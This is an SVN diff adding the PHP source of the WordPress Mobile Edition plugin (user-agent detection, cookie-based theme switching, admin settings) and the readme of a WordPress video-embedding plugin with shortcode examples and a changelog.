+		'BlackBerry',
+		'Blazer',
+		'Cellphone',
+		'Danger',
+		'DoCoMo',
+		'Elaine/3.0',
+		'EudoraWeb',
+		'Googlebot-Mobile',
+		'hiptop',
+		'IEMobile',
+		'KYOCERA/WX310K',
+		'LG/U990',
+		'MIDP-2.',
+		'MMEF20',
+		'MOT-V',
+		'NetFront',
+		'Newt',
+		'Nintendo Wii',
+		'Nitro', // Nintendo DS
+		'Nokia',
+		'Opera Mini',
+		'Palm',
+		'PlayStation Portable',
+		'portalmmm',
+		'Proxinet',
+		'ProxiNet',
+		'SHARP-TQ-GX10',
+		'SHG-i900',
+		'Small',
+		'SonyEricsson',
+		'Symbian OS',
+		'SymbianOS',
+		'TS21i-10',
+		'UP.Browser',
+		'UP.Link',
+		'webOS', // Palm Pre, etc.
+		'Windows CE',
+		'WinWAP',
+		'YahooSeeker/M1A1-R2D2',
+	);
+	$touch = array(
+		'iPhone',
+		'iPod',
+		'Android',
+		'BlackBerry9530',
+		'LG-TU915 Obigo', // LG touch browser
+		'LGE VX',
+		'webOS', // Palm Pre, etc.
+		'Nokia5800',
+	);
+	switch ($type) {
+		case 'mobile':
+		case 'touch':
+			return $$type;
+	}
+}
+
+$mobile = explode("\n", trim(get_option('cfmobi_mobile_browsers')));
+$cfmobi_mobile_browsers = apply_filters('cfmobi_mobile_browsers', $mobile);
+$touch = explode("\n", trim(get_option('cfmobi_touch_browsers')));
+$cfmobi_touch_browsers = apply_filters('cfmobi_touch_browsers', $touch);
+
+function cfmobi_install() {
+	global $cfmobi_default_mobile_browsers;
+	add_option('cfmobi_mobile_browsers', implode("\n", cfmobi_default_browsers('mobile')));
+	global $cfmobi_default_touch_browsers;
+	add_option('cfmobi_touch_browsers', implode("\n", cfmobi_default_browsers('touch')));
+}
+
+function cfmobi_init() {
+	global $cfmobi_mobile_browsers, $cfmobi_touch_browsers;
+	if (is_admin() && !cfmobi_installed()) {
+		global $wp_version;
+		if (isset($wp_version) && version_compare($wp_version, '2.9', '>=')) {
+			add_action('admin_notices', create_function( '', "echo '<div class=\"error\"><p>WP Mobile is incorrectly installed. Please check the <a href=\"http://alexking.org/projects/wordpress/readme?project=wordpress-mobile-edition\">README</a>.</p></div>';" ) );
+		}
+	}
+	if (isset($_COOKIE['cf_mobile']) && $_COOKIE['cf_mobile'] == 'false') {
+		add_action('the_content', 'cfmobi_mobile_available');
+	}
+}
+add_action('init', 'cfmobi_init');
+
+function cfmobi_check_mobile() {
+	global $cfmobi_mobile_browsers, $cfmobi_touch_browsers;
+	$mobile = null;
+	if (!isset($_SERVER["HTTP_USER_AGENT"]) || (isset($_COOKIE['cf_mobile']) && $_COOKIE['cf_mobile'] == 'false')) {
+		$mobile = false;
+	}
+	else if (isset($_COOKIE['cf_mobile']) && $_COOKIE['cf_mobile'] == 'true') {
+		$mobile = true;
+	}
+	$browsers = array_merge($cfmobi_mobile_browsers, $cfmobi_touch_browsers);
+	if (is_null($mobile) && count($browsers)) {
+		foreach ($browsers as $browser) {
+			if (!empty($browser) && strpos($_SERVER["HTTP_USER_AGENT"], trim($browser)) !== false) {
+				$mobile = true;
+			}
+		}
+	}
+	if (is_null($mobile)) {
+		$mobile = false;
+	}
+	return apply_filters('cfmobi_check_mobile', $mobile);
+}
+
+if (cfmobi_check_mobile()) {
+	add_filter('template', 'cfmobi_template');
+	add_filter('option_template', 'cfmobi_template');
+	add_filter('option_stylesheet', 'cfmobi_template');
+}
+
+function cfmobi_template($theme) {
+	if (cfmobi_installed()) {
+		return apply_filters('cfmobi_template', CF_MOBILE_THEME);
+	}
+	else {
+		return $theme;
+	}
+}
+
+function cfmobi_installed() {
+	return is_dir(ABSPATH.'/wp-content/themes/'.CF_MOBILE_THEME);
+}
+
+function cfmobi_mobile_exit() {
+	echo '<p><a href="'.trailingslashit(get_bloginfo('home')).'?cf_action=reject_mobile">Esci dalla Edizione per Cellulare </a> <span class="small">(vai alla versione standard del browser)</span>.</p>';
+}
+
+function cfmobi_mobile_available($content) {
+	if (!defined('WPCACHEHOME')) {
+		$content = $content.'<p><a href="'.trailingslashit(get_bloginfo('home')).'?cf_action=show_mobile">Ritorna all\'Edizione per Cellulare</a>.</p>';
+	}
+	return $content;
+}
+
+function cfmobi_mobile_link() {
+	if (!defined('WPCACHEHOME')) {
+		echo '<a href="'.trailingslashit(get_bloginfo('home')).'?cf_action=show_mobile">Mobile Editione</a>';
+	}
+}
+
+// TODO - add sidebar widget for link, with some sort of graphic?
+
+function cfmobi_request_handler() {
+	if (!empty($_GET['cf_action'])) {
+		$url = parse_url(get_bloginfo('home'));
+		$domain = $url['host'];
+		if (!empty($url['path'])) {
+			$path = $url['path'];
+		}
+		else {
+			$path = '/';
+		}
+		$redirect = false;
+		switch ($_GET['cf_action']) {
+			case 'cfmobi_admin_js':
+				cfmobi_admin_js();
+				break;
+			case 'cfmobi_admin_css':
+				cfmobi_admin_css();
+				die();
+				break;
+			case 'reject_mobile':
+				setcookie(
+					'cf_mobile'
+					, 'false'
+					, time() + 300000
+					, $path
+					, $domain
+				);
+				$redirect = true;
+				break;
+			case 'show_mobile':
+				setcookie(
+					'cf_mobile'
+					, 'true'
+					, time() + 300000
+					, $path
+					, $domain
+				);
+				$redirect = true;
+				break;
+			case 'cfmobi_who':
+				if (current_user_can('manage_options')) {
+					header("Content-type: text/plain");
+					echo sprintf(__('Browser: %s', 'cf-mobile'), strip_tags($_SERVER['HTTP_USER_AGENT']));
+					die();
+				}
+				break;
+		}
+		if ($redirect) {
+			if (!empty($_SERVER['HTTP_REFERER'])) {
+				$go = $_SERVER['HTTP_REFERER'];
+			}
+			else {
+				$go = get_bloginfo('home');
+			}
+			header('Location: '.$go);
+			die();
+		}
+	}
+	if (!empty($_POST['cf_action'])) {
+		switch ($_POST['cf_action']) {
+			case 'cfmobi_update_settings':
+				cfmobi_save_settings();
+				wp_redirect(trailingslashit(get_bloginfo('wpurl')).'wp-admin/options-general.php?page=wp-mobile.php&updated=true');
+				die();
+				break;
+		}
+	}
+}
+add_action('init', 'cfmobi_request_handler');
+
+function cfmobi_admin_js() {
+	global $cfmobi_default_mobile_browsers, $cfmobi_default_touch_browsers;
+	header('Content-type: text/javascript');
+	$mobile = str_replace(array("'","\r", "\n"), array("\'", '', ''), implode('\\n', cfmobi_default_browsers('mobile')));
+	$touch = str_replace(array("'","\r", "\n"), array("\'", '', ''), implode('\\n', cfmobi_default_browsers('touch')));
+?>
+jQuery(function($) {
+	$('#cfmobi_mobile_reset').click(function() {
+		$('#cfmobi_mobile_browsers').val('<?php echo $mobile; ?>');
+		return false;
+	});
+	$('#cfmobi_touch_reset').click(function() {
+		$('#cfmobi_touch_browsers').val('<?php echo $touch; ?>');
+		return false;
+	});
+});
+<?php
+	die();
+}
+if (is_admin()) {
+	wp_enqueue_script('cfmobi_admin_js', trailingslashit(get_bloginfo('url')).'?cf_action=cfmobi_admin_js', array('jquery'));
+}
+
+function cfmobi_admin_css() {
+	header('Content-type: text/css');
+?>
+fieldset.options div.option {
+	background: #EAF3FA;
+	margin-bottom: 8px;
+	padding: 10px;
+}
+fieldset.options div.option label {
+	display: block;
+	float: left;
+	font-weight: bold;
+	margin-right: 10px;
+	width: 150px;
+}
+fieldset.options div.option span.help {
+	color: #666;
+	font-size: 11px;
+	margin-left: 8px;
+}
+#cfmobi_mobile_browsers, #cfmobi_touch_browsers {
+	height: 200px;
+	width: 300px;
+}
+#cfmobi_mobile_reset, #cfmobi_touch_reset {
+	display: block;
+	font-size: 11px;
+	font-weight: normal;
+}
+<?php
+	die();
+}
+
+function cfmobi_admin_head() {
+	echo '<link rel="stylesheet" type="text/css" href="'.trailingslashit(get_bloginfo('url')).'?cf_action=cfmobi_admin_css" />';
+}
+add_action('admin_head', 'cfmobi_admin_head');
+
+$cfmobi_settings = array(
+	'cfmobi_mobile_browsers' => array(
+		'type' => 'textarea',
+		'label' => 'Mobile Browsers <a href="#" id="cfmobi_mobile_reset">Reset to Default</a>',
+		'default' => cfmobi_default_browsers('mobile'),
+		'help' => '',
+	),
+	'cfmobi_touch_browsers' => array(
+		'type' => 'textarea',
+		'label' => 'Touch Browsers <a href="#" id="cfmobi_touch_reset">Reset to Default</a>',
+		'default' => cfmobi_default_browsers('touch'),
+		'help' => '(iPhone, Android G1, BlackBerry Storm, etc.)',
+	),
+);
+
+function cfmobi_setting($option) {
+	$value = get_option($option);
+	if (empty($value)) {
+		global $cfmobi_settings;
+		$value = $cfmobi_settings[$option]['default'];
+	}
+	return $value;
+}
+
+function cfmobi_admin_menu() {
+	if (current_user_can('manage_options')) {
+		add_options_page(
+			__('WordPress Mobile Edition', 'cf-mobile')
+			, __('Mobile', 'cf-mobile')
+			, 10
+			, basename(__FILE__)
+			, 'cfmobi_settings_form'
+		);
+	}
+}
+add_action('admin_menu', 'cfmobi_admin_menu');
+
+function cfmobi_plugin_action_links($links, $file) {
+	$plugin_file = basename(__FILE__);
+	if ($file == $plugin_file) {
+		$settings_link = '<a href="options-general.php?page='.$plugin_file.'">'.__('Settings', 'cf-mobile').'</a>';
+		array_unshift($links, $settings_link);
+	}
+	return $links;
+}
+add_filter('plugin_action_links', 'cfmobi_plugin_action_links', 10, 2);
+
+if (!function_exists('cf_settings_field')) {
+	function cf_settings_field($key, $config) {
+		$option = get_option($key);
+		$label = '<label for="'.$key.'">'.$config['label'].'</label>';
+		$help = '<span class="help">'.$config['help'].'</span>';
+		switch ($config['type']) {
+			case 'select':
+				$output = $label.'<select name="'.$key.'" id="'.$key.'">';
+				foreach ($config['options'] as $val => $display) {
+					$option == $val ? $sel = ' selected="selected"' : $sel = '';
+					$output .= '<option value="'.$val.'"'.$sel.'>'.htmlspecialchars($display).'</option>';
+				}
+				$output .= '</select>'.$help;
+				break;
+			case 'textarea':
+				if (is_array($option)) {
+					$option = implode("\n", $option);
+				}
+				$output = $label.'<textarea name="'.$key.'" id="'.$key.'">'.htmlspecialchars($option).'</textarea>'.$help;
+				break;
+			case 'string':
+			case 'int':
+			default:
+				$output = $label.'<input name="'.$key.'" id="'.$key.'" value="'.htmlspecialchars($option).'" />'.$help;
+				break;
+		}
+		return '<div class="option">'.$output.'<div class="clear"></div></div>';
+	}
+}
+
+function cfmobi_settings_form() {
+	global $cfmobi_settings;
+	print('
+<div class="wrap">
+	<h2>'.__('WordPress Mobile Edition', 'cf-mobile').'</h2>
+	<form id="cfmobi_settings_form" name="cfmobi_settings_form" action="'.get_bloginfo('wpurl').'/wp-admin/options-general.php" method="post">
+		<input type="hidden" name="cf_action" value="cfmobi_update_settings" />
+		<p>'.__('Browsers that have a <a href="http://en.wikipedia.org/wiki/User_agent">User Agent</a> matching a key below will be shown the mobile version of your site instead of the normal theme.', 'cf-mobile').'</p>
+		<fieldset class="options">
+	');
+	foreach ($cfmobi_settings as $key => $config) {
+		echo cf_settings_field($key, $config);
+	}
+	print('
+		</fieldset>
+		<p>'.sprintf(__('To see the User Agent for your browser, <a href="%s">click here</a>.', 'cf-mobile'), trailingslashit(get_bloginfo('home')).'?cf_action=cfmobi_who').'</p>
+		<p class="submit">
+			<input type="submit" name="submit" class="button-primary" value="'.__('Save Settings', 'cf-mobile').'" />
+		</p>
+	</form>
+</div>
+	');
+	do_action('cfmobi_settings_form');
+}
+
+function cfmobi_save_settings() {
+	if (!current_user_can('manage_options')) {
+		return;
+	}
+	global $cfmobi_settings;
+	foreach ($cfmobi_settings as $key => $option) {
+		$value = '';
+		switch ($option['type']) {
+			case 'int':
+				$value = intval($_POST[$key]);
+				break;
+			case 'select':
+				$test = stripslashes($_POST[$key]);
+				if (isset($option['options'][$test])) {
+					$value = $test;
+				}
+				break;
+			case 'string':
+			case 'textarea':
+			default:
+				$value = stripslashes($_POST[$key]);
+				break;
+		}
+		update_option($key, $value);
+	}
+}
+
+if (!function_exists('get_snoopy')) {
+	function get_snoopy() {
+		include_once(ABSPATH.'/wp-includes/class-snoopy.php');
+		return new Snoopy;
+	}
+}
+
+//a:22:{s:11:"plugin_name";s:24:"WordPress Mobile Edition";s:10:"plugin_uri";s:42:"http://crowdfavorite.com/wordpress/plugins";s:18:"plugin_description";s:277:"Show your mobile visitors a site presentation designed just for them. Rich experience for iPhone, Android, etc. and clean simple formatting for less capable mobile browsers. Cache-friendly with a Carrington-based theme, and progressive enhancement for advanced mobile browsers.";s:14:"plugin_version";s:3:"3.0";s:6:"prefix";s:6:"cfmobi";s:8:"filename";s:13:"wp-mobile.php";s:12:"localization";s:9:"cf-mobile";s:14:"settings_title";s:24:"WordPress Mobile Edition";s:13:"settings_link";s:6:"Mobile";s:4:"init";s:1:"1";s:7:"install";s:1:"1";s:9:"post_edit";b:0;s:12:"comment_edit";b:0;s:6:"jquery";b:0;s:6:"wp_css";b:0;s:5:"wp_js";b:0;s:9:"admin_css";s:1:"1";s:8:"admin_js";s:1:"1";s:15:"request_handler";s:1:"1";s:6:"snoopy";s:1:"1";s:11:"setting_cat";b:0;s:14:"setting_author";b:0;}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-video-plugin/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-video-plugin/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-video-plugin/readme.txt	(revision 44)
@@ -0,0 +1,549 @@
+=== Wordpress Video Plugin ===
+Contributors: daburna
+Donate link: http://www.daburna.de/
+Tags: embedding, Video, embed, portal, Youtube, Sevenload, Google, MyVideo, Clipfish, Revver, Yahoo!, Brightcove, Aniboom, MSN, Liveleak, Collegehumor, slideshare, guba, GoalVideoz  
+Requires at least: 2.0.0
+Tested up to: 2.8
+Stable tag: 0.71
+
+== Description ==
+
+A filter for WordPress that allows easy video embedding of supported sites. 
+
+The folliwing sites are supported:
+
+* MyVideo
+* Youtube 
+* Youtube Playlist
+* google video
+* Brightcove
+* Aniboom
+* 123video.nl
+* MyspaceTV
+* Yahoo! Video
+* Veoh
+* Wandeo 
+* Glumbert
+* Gametrailers
+* Gamevideos
+* LiveLeak
+* sevenload
+* clipfish
+* break.com
+* Metacafe
+* dailymotion
+* Vimeo
+* videotube
+* blip.tv
+* revver
+* IFILM
+* Tu.tv
+* grouper
+* Cellfish.com
+* Sumo.tv
+* Last.fm
+* Vsocial
+* teachertube
+* slideshare
+* reason.tv
+* ComedyCentral
+* Jumpcut
+* MSN
+* hamburg1
+* mncast
+* Collegehumor 
+* Megavideo
+* d1g.com
+* ReelzChannel
+* Trilulilu
+* Funny or die
+* Generic Flash
+* Youreporter.it
+* Clipsyndicate
+* Mojvideo
+* GoalVideoz
+* Guba
+* wat.tv
+* OnSMASH
+* dotSUB
+* current
+* screen-o-matic
+* Facebook
+
+== Installation ==
+
+Copy the file videos.php into the wp-content/plugins folder of your WordPress installation. 
+After that go to Administration page, choose Plugins. Wordpress Video Plugin should be in the list. 
+Activtate it.
+
+
+== Using the plugin ==
+
+You can find the freshest instruction here: http://www.daburna.de/dokuwiki/doku.php/instruction.
+Please tell me your wishes: http://www.daburna.de/dokuwiki/doku.php/wishlist.
+
+MyVideo: 
+- every occurence of the expression [myvideo id width height] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the MyVideo id. For the URL 
+http://www.myvideo.de/watch/366128, the id part is 366128
+
+youtube:
+- every occurence of the expression [youtube id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the youtube id. For the URL 
+http://youtube.com/watch?v=83FWE_qBudU, the id part is 83FWE_qBudU
+
+The default width and height is definded in "define("YOUTUBE_WIDTH", 425)" and
+"define("YOUTUBE_HEIGHT", 350)". To change the default size, simply edit the
+values. Additionally you can add the desired width and height to the expression
+seperated by spaces (i.e. [youtube id 300 150].
+
+For the URL http://youtube.com/watch?v=83FWE_qBudU, the id part is 83FWE_qBudU,
+so a valid tag would be "[youtube 83FWE_qBudU]" or for a smaller player size then
+the default dimensions "[youtube 83FWE_qBudU 210 175]"
+
+
+google video:
+- every occurence of the expression [google id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the google video id. For the URL
+http://video.google.de/videoplay?docid=5024787479139933029, the id part is 5024787479139933029
+
+clipfish:
+- every occurence of the expression [clipfish id width height] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the clipfish id. For the URL
+http://www.clipfish.de/channel/253/video/2834485/das-schaeferlied-von-schaefer-heinrich/, the id part is 2834485
+
+sevenload:
+- every occurence of the expression [sevenload id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the sevenload id. For the URL
+http://sevenload.de/videos/8A6KASF-arif-playback, the id part is 8A6KASF
+
+dailymotion:
+- every occurence of the expression [dailymotion id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the dailymotion id. It is a little bit difficult to get
+the id. You will find it, when you copy the video code for an embeded player. Look for this line: 
+<param name="movie" value="http://www.dailymotion.com/swf/3IpRMmMPAdtLU5XDe">, there you can find the id: 
+3IpRMmMPAdtLU5XDe
+
+BREAK.com:
+- every occurence of the expression [break id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the Break id. It is a little bit difficult to get
+the id. You will find it, when you copy the video code for an embeded player. Look for this line: 
+<param name="movie" value="http://embed.break.com/MjI2NTkx">, there you can find the id: MjI2NTkx  
+
+METACAFE.com:
+- every occurence of the expression [metacafe id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the Metacafe id. For the URL
+http://www.metacafe.com/watch/427425/boulot/, the id part is 427425
+
+VIMEO.com:
+- every occurence of the expression [vimeo id width height] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the Vimeo id. For the URL
+http://www.vimeo.com/138920, the id part is 138920
+
+Videotube.de:
+- every occurence of the expression [videotube id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the Videotube id. For the URL
+http://www.videotube.de/ci/page/player/527, the id part is 527
+
+
+BLIP.tv:
+- every occurence of the expression [bliptv id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the Blip.tv id. You will find it, 
+when you copy the video code for an embeded player. Look for this line: <embed src="http://blip.tv/play/gvFH8rZBgvNh" 
+For the URL http://blip.tv/file/1865111, the id part is gvFH8rZBgvNh 
+
+REVVER.com:
+- every occurence of the expression [revver id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the Revver id. For the URL
+http://one.revver.com/watch/174453, the id part is 174453
+
+UnCut.com:
+- every occurence of the expression [uncut id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the UnCut id. For the URL
+http://uncutvideo.aol.com/videos/16ea5688332b7df5a5dc5ba6a99f4d3d, the id part is 
+16ea5688332b7df5a5dc5ba6a99f4d3d
+
+GROUPER.com:
+- every occurence of the expression [grouper id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the Grouper id. For the URL
+http://grouper.com/video/MediaDetails.aspx?id=1759771&ml=o%3D0%26t%3D1%26fx%3D%26fp%3D2%26fmx%3D3%26rnd%3D3, 
+the id part is 1759771
+
+LIVELEAK.com:
+- every occurence of the expression [liveleak id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the Liveleak id. For the URL
+http://www.liveleak.com/view?i=8d3_1181986751, the id part is 8d3_1181986751
+
+IFILM.com
+- every occurence of the expression [ifilm id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the IFILM id. For the URL
+http://www.ifilm.com/video/2878371, the id part is 2878371
+
+GameTrailers
+- every occurence of the expression [gametrailers id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the GAMETRAILERS id. For the URL 
+http://gametrailers.com/player/22271.html, the id part is 22271
+
+GameVideos
+- every occurence of the expression [gamevideos id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the GAMEVIDEOS id. For the URL  
+http://www.gamevideos.com/video/id/13217, the id part is 13217
+
+GLUMBERT.com
+- every occurence of the expression [glumbert id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the GLUMBERT id. For the URL  
+http://www.glumbert.com/media/spidermate, the id part is spidermate
+
+WANDEO.com
+- just copy the code from the box: "on my wordpress blog" e.g. [wandeo 0b61aa57760d51eab7b9a58adc16d0a3]
+
+VEOH.com
+- every occurence of the expression [veoh id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the VEOH id. For the URL 
+http://www.veoh.com/videos/v849683cxDDQm7y, the id part is v849683cxDDQm7y
+
+MYSPACETV
+- every occurence of the expression [myspacetv id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the MYSPACETV id. For the URL 
+http://vids.myspace.com/index.cfm?fuseaction=vids.individual&VideoID=11315224, the id part is 11315224
+
+Yahoo! Video
+- every occurence of the expression [yahoo id width height] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the Yahoo! Video id. It is a little bit difficult to get
+the id. You will find it, when you copy the video code for an embeded player. Look for this line:
+flashvars='id=3253032&emailUrl=http%3A%2F%2...etc..., there you can find the id: 3253032
+
+Tu.TV
+- every occurence of the expression [tutv id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the Tu.tv id. It is a little bit difficult to get
+the id. You will find it, when you copy the video code for an embeded player. Look for this line:
+...tutvweb.swf?kpt=aHR0cDovL3d3dy50dS50di92aWRlb3Njb2RpL2MvaS9jaWNsaXN0YS1hYnVzaXZvLmZsdg==&x..., 
+there you can find the id: aHR0cDovL3d3dy50dS50di92aWRlb3Njb2RpL2MvaS9jaWNsaXN0YS1hYnVzaXZvLmZsdg
+ 
+Cellfish.com
+- every occurence of the expression [cellfish id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the Cellfish id. For the URL 
+http://cellfish.cellfish.com/multimedia/97749, the id part is 97749
+
+Aniboom
+- every occurence of the expression [aniboom id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the Aniboom id. For the URL 
+http://www.aniboom.com/Player.aspx?v=1905, the id part is 1905
+
+Brightcove
+- every occurence of the expression [brightcove id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the Brightcove id. For the URL
+http://link.brightcove.com/services/player/bcpid416542555?bctid=24776439001, the id part is
+24776439001 -> [brightcove 24776439001]
+
+123video.nl
+- every occurence of the expression [123videonl id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the 123video.nl id. For the URL
+http://123video.nl/playvideos.asp?MovieID=132273, the id part is 132273
+
+Sumo.tv
+- every occurence of the expression [sumotv id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the sumo.tv id. It is a little bit difficult to get
+the id. You will find it, when you copy the video code for an embeded player. Look for this line:
+<param name="flashVars" value="file=00/01/200710049164669307.flv&autostart=true">there you can find the id:
+00/01/200710049164669307
+
+last.fm
+- every occurence of the expression [lastfm id] (case unsensitive) will start as
+an embedded flash player. Replace "id" with the last.fm id. It is a little bit difficult to get
+the id. You will find it, when you copy the video code for an embeded player. Look for this line:
+<param name="flashvars" value="embed=true&creator=Kettcar&title=Landungsbr%C3%BCcken+raus&uniqueName=Landungsbr%C3%BCcken+raus&albumArt=http://cdn.last.fm/coverart/130x130/1422004.jpg&album=Du+Und+Wieviel+Von+Deinen+Freunden&duration=257&image=http://panther3.last.fm/storable/videocap/15582/0/original.jpg&FSSupport=true" />
+the id is:
+embed=true&creator=Kettcar&title=Landungsbr%C3%BCcken+raus&uniqueName=Landungsbr%C3%BCcken+raus&albumArt=http://cdn.last.fm/coverart/130x130/1422004.jpg&album=Du+Und+Wieviel+Von+Deinen+Freunden&duration=257&image=http://panther3.last.fm/storable/videocap/15582/0/original.jpg&FSSupport=trueS
+
+Vsocial:
+[vsocial id]
+URL: http://www.vsocial.com/video/?d=106492 ->id=106492 
+
+teachertube:
+[teachertube id]
+URL: http://www.teachertube.com/view_video.php?viewkey=2c8b64f1380e2a11d84f  but look here: [flashvideo width="425" height="350" filename="http://www.teachertube.com/flvideo/11926.flv" /] ->id=11926
+
+slideshare:
+[slideshare id]
+Replace "id" with the corresponding values from the URL of the object. For embedding the presentation at 
+http://www.slideshare.net/jboutelle/slidecasting-101 just click on 'Post to Wordpress' and you will get this code
+[slideshare id=82836&doc=slidecasting-1013073]
+
+Comedycentral:
+[comedycentral id]
+http://www.thedailyshow.com/video/index.jhtml?videoId=122364&title=meaningful-stuff -> [comedycentral 122364]
+
+Reason.tv:
+[reason id]
+http://reason.tv/video/show/157.html -> [reason 157]
+
+Jumpcut:
+[jumpcut id width height]
+http://jumpcut.com/view/?id=774D8BB8E95911DA897BFEAF976EA1AD -> [jumpcut 774D8BB8E95911DA897BFEAF976EA1AD]
+
+Collegehumor:
+[collegehumor id width height]
+http://www.collegehumor.com/video:1727961 -> [collegehumor 1727961]
+
+Hamburg1 Video:
+[hamburg1 id width height]
+http://www.hamburg1video.de/video/iLyROoaftT81.html -> [hamburg1 iLyROoaftT81]
+
+mncast.com:
+[mncast id width height]
+the id is in the embed code. search for "movieID". for http://www.mncast.com/?4223906 -> [mncast 10005583920080301233042]
+
+Youtube Playlist:
+[youtubeplaylist id width height] 
+http://de.youtube.com/view_play_list?p=EF1145687A8B929B -> [youtubeplaylist EF1145687A8B929B]
+
+MSN:
+[msn id width height]
+http://video.msn.com/video.aspx?vid=71e6a055-7b68-4fc3-880a-1bcffe1433b5 -> [msn 71e6a055-7b68-4fc3-880a-1bcffe1433b5]
+
+MEGAVIDEO:
+[megavideo id width height]
+http://www.megavideo.com/?v=Q0G3U6F7 -> [megavideo Q0G3U6F7]
+
+ReelzChannel:
+[reelzchannel id width height]
+http://www.reelzchannel.com/video/32097/indiana-jones-4-trailer -> [reelzchannel 32097]
+
+d1g.com:
+[d1g id width height]
+http://www.d1g.com/video/show/1912587 -> [d1g 1912587]
+
+Trilulilu:
+[trilulilu id width height]
+http://www.trilulilu.ro/keskifa/d219752d57c01e -> [trilulilu d219752d57c01e]
+
+Funny or Die:
+[funnyordie id width height]
+http://www.funnyordie.com/videos/3b1e3750e2 -> [funnyordie 3b1e3750e2]
+
+Generic Flash:
+[flash id]
+http://www.messe-ideen.de/upload/magische-zauberkugel.swf -> [flash http://www.messe-ideen.de/upload/magische-zauberkugel.swf]
+
+Youreporter:
+[youreporter id]
+http://www.youreporter.it/view_video.php?viewkey=dac8bc8ba637133b2c65 -> [youreporter dac8bc8ba637133b2c65]
+
+Clipsyndicate:
+[Clipsyndicate id width height]
+http://www.clipsyndicate.com/publish/video/613132/raw_video_tornado_destroys_iowa_bank?wpid=0 -> [clipsyndicate 613132]
+
+Mojvideo.com:
+[mojvideo id width height]
+http://www.mojvideo.com/video-bmw-club-obsotelje/480f35d6e4c046353a58 -> [mojvideo 480f35d6e4c046353a58]
+
+GoalVideoz:
+[goalvideoz id width height]
+http://www.goalvideoz.com/watch/2674-Portugal-vs-Turkey-2nd-Half-Goals-and-Highlights-Euro-2008/ -> [goalvideoz 2674]
+
+Guba:
+[guba id width geight]
+http://www.guba.com/watch/3000093083?duration_step=0&featured=featuredsportsvids&filter_tiny=0&pp=10&sb=8&set=5&sf=0&size_step=0&o=2&sample=1213474809:9b2e64c91768e700634a0248b8c9ee758ff0bd27 -> [guba 3000093083]
+
+wat.tv:
+[wat id width height]
+http://www.wat.tv/video/ouverture-mondial-presse-automoto-z9po_z1vx_.html -> You will find the id, when you copy the video code for an embeded player. Look 
+for this line: <param name="movie" value="http://www.wat.tv/swf2/313547fagwuFO1645548" /> there you find the id. It is 313547fagwuFO1645548 -> [wat 313547fagwuFO1645548]
+
+smotri.com
+[smotri id width height]
+http://smotri.com/video/view/?id=v630387892f -> [smotri v630387892f] 
+
+OnSMASH
+[onsmash id width height]
+http://videos.onsmash.com/v/3X8RTKaK6C3hya7q -> [onsmash 3X8RTKaK6C3hya7q] 
+
+dotSUB
+[dotsub id width height]
+http://dotsub.com/view/7774e495-71c5-4a64-83d9-28675d835d90 -> [dotsub 7774e495-71c5-4a64-83d9-28675d835d90]
+
+screencast-o-matic
+[screencast id width height]
+http://www.screencast-o-matic.com/watch/cii3lYtk -> [screencast cii3lYtk]
+
+current
+[current id width height]
+http://current.com/items/89891774/supernews_twouble_with_twitters.htm -> [current 89891774]
+
+Facebook
+[FB id]
+http://www.facebook.com/video/video.php?v=1036384564453 -> [FB 1036384564453]
+
+Flickr Video
+[flickr id width height]
+http://www.flickr.com/photos/25530364@N07/3599198949/in/pool-alongphoto -> [flickr 3599198949]
+
+Kewego
+[kewego id width height]
+http://www.kewego.de/video/iLyROoaftxTc.html -> [kewego iLyROoaftxTc]
+
+== Changelog ==
+
+= 0.71 - 30.06.2009 =
+* updated code for brightcove (instruction update!)
+* added history at readme file
+* added support for:
+- Facebook Video (code by roberto scano http://robertoscano.info)
+- Flickr Video (code by an anonymous user)
+- Kewego (code by Renaud Boyer)
+
+= 0.70 - 24.03.2009 =
+* added support for:
+- screencast-o-matic
+- current
+
+* updated code:
+- liveleak
+- slideshare (The code has essentially changed. You embedded old presentations need an id update!)
+- blip.tv (Maybe the old embedded videos need an id update after upgrading.)
+
+= 0.69 - 03.01.2009 =
+* added support for:
+- OnSMASH
+- dotSUB
+
+* updated code:
+- youtube: fullscreen is now possible
+- myvideo: configuring size & fullscreen is possible
+- clipfish: configuring size & fullscreen is possible
+- yahoo!: configuring size & fullscreen is possible
+- fixed a bug at vimeo code -> http://wordpress.org/support/topic/208723
+
+= 0.68 - 04.10.2008 =
+* added support for:
+- wat.tv by Bertimus (http://www.born2buzz.com/)
+- smotri.com
+* fixed bug "errors in archives" -> http://wordpress.org/support/topic/183928
+
+= 0.67 - 14.06.2008 =
+* added support for:
+- Generic Flash by Francisco Monteagudo
+- youreporter by Giacomo
+- clipsyndicate.com by Antonio SJ Musumeci
+- Mojvideo.com
+- GoalVideoz
+- Guba
+
+* added ability to show videos at rss feed
+* updated veoh.com code
+
+= 0.66 - 06.04.2008 =
+* added support for:
+- MEGAVIDEO
+- ReelzChannel
+- d1g.com
+- Trilulilu
+- Funny or Die
